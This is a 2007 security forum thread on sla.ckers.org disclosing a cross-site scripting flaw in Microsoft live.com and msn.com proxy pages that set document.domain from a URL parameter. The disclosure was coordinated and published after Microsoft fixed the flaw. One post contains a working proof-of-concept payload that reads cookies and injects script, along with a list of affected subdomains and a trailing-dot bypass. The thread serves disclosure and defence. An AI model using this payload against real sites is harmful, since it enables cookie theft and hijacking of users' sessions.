Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
Where you should disclose your vulnerabilities. Go read RFPolicy if you want to do responsible disclosure, and go here for when all else fails. 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
live.com/msn.com XSS through wrong document.domain
Posted by: trev
Date: February 07, 2007 03:35AM

Edit: A Microsoft developer asked me to remove the details of this vulnerability while they deploy the updated code. I will restore this post later.

Edit2: The original post has been restored: http://sla.ckers.org/forum/read.php?3,6552,6866#msg-6866



Edited 2 time(s). Last edit at 02/14/2007 10:36AM by trev.

Options: ReplyQuote
Re: live.com/msn.com XSS through wrong document.domain
Posted by: jungsonn
Date: February 07, 2007 03:27PM

Ahh Shikes!

oh well I forgot; they blocked me anyway ^^

Options: ReplyQuote
Re: live.com/msn.com XSS through wrong document.domain
Posted by: kuza55
Date: February 08, 2007 12:27AM

Well, I read this before it got deleted, but forgot to say this: Good job on finding these vulns, :D I wonder if they are going to turn out to be quite common.

On another note; it seems that Full Disclosure does work. Even if it does only work to shock vendors into action.

Options: ReplyQuote
Re: live.com/msn.com XSS through wrong document.domain
Posted by: trev
Date: February 08, 2007 11:31AM

I think they are common. Judging by what Google's CodeSearch gives me, most web applications will check for a single dot in the suggested document.domain value - but that doesn't protect you against the trailing dot trick.

So now I went to about:config in my Firefox and created a property capability.policy.default.HTMLDocument.domain.set with value "noAccess". This means that any site trying to write into document.domain will show up in the Error Console. We'll see who will try it. For now I found more vulnerable code in the live.com and start.com domains.

Options: ReplyQuote
Re: live.com/msn.com XSS through wrong document.domain
Posted by: bubbles
Date: February 11, 2007 04:36PM

Have they fixed it yet? Can you share code now?

-bubbles
http://webmastertutorials.net

Options: ReplyQuote
Re: live.com/msn.com XSS through wrong document.domain
Posted by: trev
Date: February 11, 2007 08:30PM

They have almost fixed it, only one out of 20 servers I found is still vulnerable. I gave them one week time so I will restore this post on Wednesday.

Options: ReplyQuote
Re: live.com/msn.com XSS through wrong document.domain
Posted by: jungsonn
Date: February 12, 2007 07:17AM

I can't wait, i'm surely interested in what you found. Well I just wait :)

Options: ReplyQuote
Re: live.com/msn.com XSS through wrong document.domain
Posted by: bubbles
Date: February 14, 2007 08:24AM

Today is 2/14/2007, Wednesday! Happy Valentines day, please show us your exploit! :D

-bubbles
http://webmastertutorials.net

Options: ReplyQuote
Re: live.com/msn.com XSS through wrong document.domain
Posted by: trev
Date: February 14, 2007 10:35AM

Here it comes again:

This is similar to MySpace's "domain generalization" ( http://sla.ckers.org/forum/read.php?3,5905 ). It uses an interesting page on live.com: http://www.live.com/xmlProxy.htm?vn=6.060830.1&domain=live.com

It seems that Microsoft needs this page to access www.live.com via XMLHttpRequest from other subdomains. Its main purpose is to break cross-site scripting boundaries by setting document.domain. And it was really setting document.domain to whatever we would give it, it only checked that its host name really ends with this string - duplicating a check the browser already does. So we could make it set document.domain to "com":

<script type="text/javascript">
var Web = {
Network: {
registerProxy: function(wnd) {
alert(wnd.document.cookie);

var script = wnd.document.createElement("script");
script.appendChild(document.createTextNode("alert('XSS')"));
wnd.document.body.appendChild(script);
}
}
};
document.domain = "com";
</script>
<iframe src="http://www.live.com/xmlProxy.htm?domain=com"></iframe>

This worked in Gecko browsers (Firefox & Co) and Opera from any .com domain. As to Internet Explorer, it doesn't allow domains without a dot so you would have to use the trailing dot trick - use the "com." domain. You would be unable to read the cookies but you could open an authentic live.com window that would be under your control (as discussed in the MySpace thread). That's still a lot of fun you can have.

You will find this file not only on www.live.com, there are at least these domains as well (a few instances of the file have been removed since I posted this):

www.live.com
search.live.com
search.msn.com
services.spaces.live.com
services.spaces.msn.com
cc.services.spaces.live.com
cc.services.spaces.msn.com
meteo.msn.com
clima.msn.com
weather.msn.com
wetter.msn.com
by110w.bay110.mail.live.com
by116w.bay116.mail.live.com
qna.live.com
safety.live.com
favourites.live.com
onecare.live.com

Microsoft has fixed this by now, it now checks the domain name against a list. So here come the original contents of xmlProxy.htm:

<script>
function extractIt(s)
{
return s.replace(/[^.0-9]/g, '');
}
document.write("<script src=\"xmlproxy.js?" + escape(extractIt(document.location.search.substring(1))) + "\"></" + "script>");
</script>

And the relevant part of xmlproxy.js (different versions were installed on each of these domains):

String.prototype.endsWith = function(sEnd) {return (this.substr(this.length-sEnd.length)==sEnd);}

// Add compatibility to IE
var strSearch = document.location.search;
var idx = strSearch.indexOf("domain=")
var strDomain = strSearch.substring(idx+7);

if (document.location.hostname.endsWith(strDomain))
document.domain = strDomain;
else
alert("You can't proxy across different primary domains");

[...]

parent.Web.Network.registerProxy(window)

I have recently discovered more vulnerable code on the live.com and start.com domains, it is very similar. Microsoft is still working on fixing it so I will publish it later.

PS: This forum really should turn spaces at the beginning of a line into &nbsp;

Options: ReplyQuote
Re: live.com/msn.com XSS through wrong document.domain
Posted by: jungsonn
Date: February 18, 2007 06:41PM

Yup, is this that 'Dojo' library they used? I wrote a small post about it here on the forum a while back, It's also an XHR proxy. (Simply asking for trouble IMO).

EDIT to add: http://sla.ckers.org/forum/read.php?2,4160,4299#msg-4299



Edited 1 time(s). Last edit at 02/18/2007 06:44PM by jungsonn.

Options: ReplyQuote
Re: live.com/msn.com XSS through wrong document.domain
Posted by: trev
Date: February 19, 2007 06:44AM

Jungsonn, they seem to use some own framework. At least I haven't found mentions of it anywhere outside MS sites.

Here comes another variation of this issue:

http://1.data.gadgets.start.com/DataLoader/1.900.8.021/dataloader.html
http://1.data.www.live.com/DataLoader/1.900.8.021/dataloader.html

Feel free to replace the 1 in the server name by any number between 1 and 64. These servers seem to be used by live.com to distribute load from the client side, and one needs to break cross-domain boundaries for this of course. It is almost the same code as xmlProxy.htm, it also used to set document.domain to whatever it got as URL parameter. Same fix: the DataLoader script only allows known domains now.

Interesting detail: http://stj.live.com/live/1.900.8.021/scripts/dataProxyCompat.js (the script that uses DataLoader) still uses the one-dot rule to determine what it should set document.domain to. So theoretically it is still vulnerable if you use a domain name with the trailing dot. However, http://www.live.com./ redirects to http://www.live.com/ now.

Options: ReplyQuote


Sorry, only registered users may post in this forum.